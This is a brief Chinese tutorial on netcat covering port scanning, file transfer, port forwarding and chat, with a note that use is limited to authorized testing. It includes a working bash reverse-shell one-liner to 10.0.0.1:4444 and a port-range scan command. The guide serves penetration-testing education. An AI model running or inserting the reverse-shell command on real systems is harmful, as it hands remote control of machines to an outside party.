nc(netcat)命令使用完整指南:端口扫描、文件传输、反弹Shell、端口转发、Chat工具。
写在前面:合法学习边界
nc 只在授权测试环境使用。对非授权目标使用 nc 可能触犯法律。
一、nc 使用场景

1
| 端口扫描 · 文件传输 · 反弹 Shell · 端口转发 · Chat 工具
|
二、常用命令
1
2
3
4
5
6
7
8
9
10
11
12
| # 端口扫描
nc -zv 192.168.1.100 1-1024
# 反弹 Shell
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
# 文件传输
A: nc -l 9999 > file.tar.gz
B: nc A_IP 9999 < file.tar.gz
# 端口转发
nc -l 8080 | nc target 80
|
三、参数说明
1
2
| -l 监听 · -z 扫描 · -v 详细输出 · -p 源端口
-u UDP · -w 超时 · -e 指定程序 · -k 保持连接
|
四、小结
nc 是网络调试的瑞士军刀。反弹 Shell 是最核心的渗透用途,端口转发 是内网代理的基础。